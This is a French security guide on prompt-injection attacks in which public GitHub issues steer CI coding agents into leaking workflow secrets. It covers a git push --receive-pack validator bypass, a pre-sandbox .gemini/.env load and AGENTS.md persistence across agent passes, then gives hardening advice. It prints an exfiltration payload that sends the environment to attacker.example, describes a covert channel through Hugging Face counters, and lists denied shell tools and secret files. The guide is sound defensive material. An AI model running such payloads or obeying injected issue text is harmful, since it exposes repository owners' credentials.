GitHub Issue → secrets CI : les attaques Black Hat 2026 contre les agents de code
- Comprendre pourquoi une issue GitHub publique peut atteindre les secrets d'un workflow CI — sans aucune permission sur le dépôt côté attaquant
- Décortiquer CVE-2026-54316 : le retrait des apostrophes qui a laissé `git push --receive-pack='…'` passer les 23 validateurs de Claude Code
- Décortiquer CVE-2026-12537 : la faille CVSS 10.0 où un `.gemini/.env` malveillant s'exécutait sur l'hôte CI AVANT le démarrage du sandbox
- Voir le troisième pattern (OpenAI Codex + AGENTS.md) qui n'a pas eu de CVE mais était sans doute pire : persistance via le fichier d'instructions lui-même
- Livrer une checklist concrète de durcissement CI — scopes de permissions, modes sandbox, application des allowlists, deny-rules — qui coupe toute cette classe de bug
Le 5 août 2026, à Black Hat USA, Elad Meged de Novee Security et Dan Lisichkin de Pillar Security ont démontré ce que l'industrie craignait discrètement depuis l'arrivée des agents de code en CI : un inconnu sans aucune permission sur le dépôt peut ouvrir une issue GitHub et obtenir l'exécution de code à distance sur votre runner CI — parce que le workflow CI que vous avez mis en place pour auto-trier les issues transmet le corps de cette issue à un agent de code comme instructions.
Deux des trois vulnérabilités ont eu leur CVE et leur patch. Les trois relèvent de la même classe de bug : une frontière de confiance qui s'est rompue au passage de témoin entre composants — validateur vs exécuteur, processus parent vs enfant, une passe d'agent vs la suivante.
Pourquoi c'est un nouveau mode de défaillance
L'auto-triage a l'air sûr sur le papier. Un workflow GitHub Actions se déclenche sur issues.opened, checkout du dépôt, lance Claude Code / Gemini CLI / Codex avec un truc du genre « lis le corps de l'issue, propose un correctif, ouvre une PR ». L'agent tourne dans un conteneur, le runner a des tokens scoped, tout le monde est rassuré.
Le problème c'est que le corps de l'issue est un prompt — du langage naturel non fiable que l'agent va interpréter. L'injection de prompt est connue depuis 2022. Ce que Novee a montré, c'est que même quand les éditeurs pensaient la contenir (validateurs, sandboxes, allowlists d'outils), les passages entre ces couches étaient sans garde. Un attaquant n'a pas besoin de vaincre une défense donnée — il fait passer sa charge par la couture où un composant a dit « safe » et où le suivant a agi sur ce verdict.
- Si votre workflow GitHub Actions appelle un agent de code sur `issues.opened`, `issue_comment.created`, ou `pull_request_target` depuis des branches non restreintes, et que vous n'avez pas mis à jour Claude Code vers ≥ 2.1.163 ou Gemini CLI vers ≥ 0.39.1 / run-gemini-cli ≥ 0.1.22, considérez les secrets de votre workflow comme compromis. Rotationnez-les, puis mettez à jour.
Les trois vulnérabilités, en une image
- Pas de fork, pas de PR, aucun droit d'écriture sur le dépôt — juste la capacité d'ouvrir une issue sur un dépôt public. Le déclencheur `issues.opened` se lance automatiquement.
- GITHUB_TOKEN, ANTHROPIC_API_KEY, et tous les secrets du `env` du workflow sont maintenant présents dans l'environnement du runner pendant que l'agent tourne.
- C'est ici que les trois vulns divergent — mais toutes trois aboutissent au même résultat : du code attaquant tourne sur l'hôte avec accès à l'environnement du runner.
- Novee a utilisé le compteur public de téléchargements de Hugging Face (incrément-par-requête) pour fuiter une clé d'API caractère par caractère — pas besoin de C2 exotique, juste un domaine auquel le runner fait déjà confiance.
CVE-2026-54316 — Claude Code : le retrait des apostrophes
Corrigé dans : Claude Code 2.1.163 (toutes les versions de 0.2.54 à 2.1.162 affectées).
CVSS : v3.1 9.1 (Anthropic le note v4 6.0 / Modéré ; NVD indique 9.1).
Faiblesse sous-jacente : le validateur de commande retire le contenu entre apostrophes avant de lancer ses 23 contrôles de sécurité. C'est conforme à bash : bash traite les apostrophes comme du littéral pur. Le problème est que git traite --receive-pack='…' comme un flag dont la valeur sera executée côté distant.
Résultat : le validateur voit une commande inerte avec la charge blanchie ; git voit un flag qui exécute la charge.
La forme de la charge (illustratif — pour défenseurs, ne pas exécuter)
git push --receive-pack='sh -c "curl https://attacker.example/x?d=$(env | base64)"' origin HEAD
Deux choses à noter :
- Les validateurs ne sont pas fautifs individuellement. Retirer les apostrophes, c'est ce que fait bash. Autoriser
git push, c'est ce qu'un agent de code doit faire. Chaque couche est correcte isolément ; la couture entre elles est le bug. - Le canal d'exfiltration n'a pas besoin d'être exotique. La PoC de Novee a utilisé
huggingface.co— un domaine que tout agent de code aura dans son allowlist sortante — comme compteur covert, en incrémentant le compteur de téléchargements d'un dépôt de modèle contrôlé une fois par caractère du secret fuité. Si votre politique d'egress ne bloque que le C2 « évident », ça passe.
La fenêtre d'exposition de 1,5 an (corrigé en août 2026 dans un outil qui a livré le contrôle vulnérable début 2025) est la partie effrayante : le bug a survécu à 100+ releases parce que personne ne fuzz-testait le validateur contre la sémantique de valeur des outils en aval.
CVE-2026-12537 — Gemini CLI : le .env pré-sandbox
Corrigé dans : @google/gemini-cli 0.39.1, action GitHub run-gemini-cli 0.1.22 (et 0.40.0-preview.3).
CVSS : 4.0 — le 10.0 parfait.
CWE : 78 (Injection de commande OS) + 20 (Validation d'entrée impropre).
Cause racine : en mode headless CI, Gemini CLI faisait automatiquement confiance à son dossier workspace et chargeait .gemini/.env avant que le sandbox du conteneur soit en place. Un .gemini/.env malveillant commité dans une branche PR (ou déposé dans le checkout par une étape précédente) s'exécutait sur l'hôte avec tout l'environnement du runner — y compris GITHUB_TOKEN.
Il y avait deux échecs cumulatifs :
- Confiance automatique au workspace en CI. En mode interactif vous aviez un prompt « faire confiance à ce dossier ? ». En mode headless vous n'aviez rien — le workspace était trusted par défaut, donc n'importe quel dépôt que vous checkoutiez pouvait apporter sa propre config d'agent.
--yolocourt-circuitait entièrement l'allowlist d'outils — pas « l'assouplissait », l'ignorait. L'allowlist fine danssettings.jsonque les utilisateurs avaient soigneusement écrite était compilée hors du chemin runtime quand--yoloétait mis. Novee a résumé la forme en « allowlist parsée uniquement à l'enregistrement ; pas appliquée au runtime ».
L'implication de portée était mauvaise : run-gemini-cli avait une large base d'installation au moment de la divulgation, et le token qu'un exploit capturait pouvait pousser sur le dépôt de l'action lui-même — un pied dans la porte supply-chain sur ~2M d'installations en aval si non détecté par rotation.
Le correctif est un changement cassant du modèle de confiance : les workspaces doivent maintenant être explicitement trustés, et --yolo respecte encore l'allowlist.
Le troisième cas OpenAI Codex — pas de CVE, sans doute pire
Codex d'OpenAI a reçu le même type de rapport mais n'a pas émis de CVE — leur position est que le sandbox s'est comporté exactement comme documenté. Ce que Novee a montré est un chemin de persistance via AGENTS.md lui-même :
- Deux passes Codex partageaient un même checkout de workspace.
- Passe 1 (quarantinée, lecture seule prévue) traitait le corps d'issue non fiable.
- Des instructions injectées dans le corps de l'issue dirigeaient la Passe 1 pour écrire du nouveau contenu dans
AGENTS.md. - Passe 2 (privilégiée) démarrait, chargeait
AGENTS.mddepuis le disque comme instructions autoritaires, et suivait les ordres de l'attaquant.
La barrière de validation contrôlait le format de sortie de la Passe 1, pas l'état du filesystem que la Passe 1 avait laissé. La persistance a voyagé par le disque, pas par le chemin de données.
Les mitigations d'OpenAI : séparer les passes dans des jobs différents (pour qu'il n'y ait pas d'état de workspace partagé) et sandboxes en lecture seule pour la passe de validation. Ce sont des choses que vous pouvez — et devriez — configurer vous-même même sur les Claude Code et Gemini CLI patchés, parce que ce pattern n'est pas spécifique à Codex. Partout où un workflow multi-étape d'agent partage un workspace avec un fichier d'instructions modifiable, la même attaque est possible.
La forme commune
Défenses qui survivent au prochain CVE
D'abord mettre à jour — Claude Code ≥ 2.1.163, @google/gemini-cli ≥ 0.39.1, run-gemini-cli ≥ 0.1.22. Puis durcir le workflow lui-même pour que le prochain bug de passage ne soit pas une crise.
- `issues.opened`, `issue_comment.created`, et `pull_request_target` depuis des forks mettent du contenu contrôlé par l'attaquant dans un workflow avec vos secrets. Si vous devez le faire, gatez sur un label posé par un reviewer avec droit d'écriture (par exemple un commentaire `/agent-run` d'un mainteneur) — ça remet une décision humaine dans la boucle.
- Réglez `permissions:` au niveau workflow OU job au minimum (`contents: read`, `issues: write` uniquement si vous devez commenter). NE laissez PAS le défaut `write-all`. Envisagez un PAT fine-grained à courte durée scopé à un dépôt plutôt que le GITHUB_TOKEN ambiant.
- Passe 1 : lire l'issue dans un job avec `permissions: read-all` (ou moins) et SANS secrets. Émettre un artefact structuré. Passe 2 : dans un job SÉPARÉ avec les credentials dont il a besoin, agir sur l'artefact après validation de schéma. Ne jamais partager un workspace entre eux (c'est la propre mitigation de Codex).
- Configurez le système de permissions de l'agent lui-même pour refuser la lecture d'Env/`.env`/`id_rsa`/`*.pem`, les curl vers des hôtes inconnus, et les verbes shell destructifs. Voir l'exemple ci-dessous et croiser avec [Quand les agents de code sont attaqués](/docs/security/coding-agents-under-attack) pour le pattern.
- Runners self-hosted : firewall egress vers une petite allowlist. Runners GitHub-hosted : vous ne pouvez pas firewaller complètement, mais vous POUVEZ éliminer les canaux covert — réglez l'allowlist d'outils de l'agent pour que `curl`/`wget`/`fetch` vers des hôtes arbitraires soit refusé. Ne mettez pas `huggingface.co`, `pastebin.com`, ou `*.workers.dev` dans votre allowlist sauf si vous en avez réellement besoin.
- Si une étape de votre workflow a tourné sur du contenu contrôlé par l'attaquant, le workspace (y compris tout `.env`, `AGENTS.md`, `CLAUDE.md`, `.gemini/`, `.codex/`) est sale. Checkout frais pour la passe privilégiée — ou re-validation explicite.
- L'exfil dans CVE-2026-54316 était une requête HTTP par caractère vers `huggingface.co`. Un log des appels d'outils rend ça une alarme hurlante. Sans ça, ça ressemble à du trafic agent normal.
- GITHUB_TOKEN expire automatiquement avec le job, mais ANTHROPIC_API_KEY, GEMINI_API_KEY, et tous les secrets custom, non. Si votre workflow a tourné avec une version vulnérable sur du contenu attaquant, rotationnez-les, qu'il y ait preuve d'utilisation ou non.
Une deny-list minimale viable pour un agent CI
Fragment de permissions Claude Code pour runs CI (adaptez à votre setup)
{
"permissions": {
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(./**/*.pem)",
"Read(./**/id_rsa*)",
"Read(./**/.git/config)",
"Bash(curl:*)",
"Bash(wget:*)",
"Bash(nc:*)",
"Bash(git push:*)",
"Bash(git remote:*)",
"Bash(rm -rf:*)",
"Bash(chmod:*)"
],
"allow": [
"Read(./src/**)",
"Read(./docs/**)",
"Edit(./src/**)"
]
}
}Notez le deny explicite sur git push:* — c'est ce qui ferme le vecteur d'exploitation de CVE-2026-54316 même en cas de bug de validateur futur hypothétique : l'agent n'avait de toute façon pas la permission de push.
Une forme GitHub Actions plus sûre
`.github/workflows/agent-triage.yml` — pattern least-privilege
name: agent-triage
on:
# Don't fire on unrestricted 'issues.opened' — gate on a reviewer label
issues:
types: [labeled]
permissions:
contents: read
issues: write # only to comment on the issue
jobs:
# Pass 1: parse untrusted input, NO secrets besides the ambient token
parse:
if: github.event.label.name == 'agent-triage'
runs-on: ubuntu-latest
outputs:
summary: ${{ steps.extract.outputs.summary }}
steps:
- uses: actions/checkout@v4
- id: extract
env:
ISSUE_BODY: ${{ github.event.issue.body }}
run: |
# Emit a structured, schema-validated summary — not raw prompt
node ./scripts/extract-issue-facts.js > out.json
echo "summary=$(jq -c . out.json)" >> "$GITHUB_OUTPUT"
# Pass 2: privileged, in a fresh workspace, on validated data only
act:
needs: parse
runs-on: ubuntu-latest
permissions:
contents: read
issues: write
steps:
- uses: actions/checkout@v4 # fresh checkout — pass 1's workspace is gone
- name: Validate parse output
run: node ./scripts/validate-summary.js '${{ needs.parse.outputs.summary }}'
- name: Run coding agent on validated summary
env:
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
run: |
# Agent sees ONLY the validated summary, never the raw issue body
claude --permission-mode plan --input-file summary.jsonLes trois propriétés structurelles qui comptent :
on: issues.types: [labeled]+ un contrôle sur le nom du label = un mainteneur doit poser le label, donc un inconnu ne peut pas déclencher le workflow.- Deux jobs = deux workspaces. Les écritures de la Passe 1 (y compris tout
AGENTS.mdinjecté) ne survivent pas jusqu'à la Passe 2. - Validation de schéma entre les passes. La Passe 2 reçoit du JSON typé, pas du texte brut, donc l'injection n'a rien où s'injecter.
Vérifiez-vous
Vérifiez-vous
0/5Sources et lectures complémentaires
- Novee Security — Black Hat 2026 : Critical Flaws in Anthropic, Google, and OpenAI's Coding Agents (source primaire, avec les chaînes d'attaque)
- Novee Security — Update to Gemini CLI and run-gemini-cli Trust Model (guidance patch)
- The Hacker News — Claude Code and Gemini CLI Flaws Let a GitHub Issue Reach CI Workflow Secrets
- GitHub Advisory Database — GHSA-jj69-4grx-fqj5 (CVE-2026-12537, Gemini CLI)
- NVD — CVE-2026-54316 (Claude Code)
- CSO Online — Max-severity RCE flaw found in Google Gemini CLI
- GitHub Docs — Hardening for GitHub Actions (baseline pour
permissions:et guidancepull_request_target)
Liens sur AILmanac
- Quand les agents de code sont weaponizés — la classe sœur (Friendly Fire + JADEPUFFER) ; à lire après cette page
- Durcir les runs autonomes — la checklist générale pour tout agent non surveillé, pas seulement CI
- L'injection de prompt expliquée — le mécanisme sous-jacent utilisé pour atteindre ces coutures
- Sécuriser agents et outils — patterns de scoping de permissions
- Reviewer du code tiers — la même question de confiance avant d'intégrer un plugin, skill, ou serveur MCP
- Attaques MCP par commentaires invisibles — un pattern « instruction cachée dans les données » apparenté sur une surface différente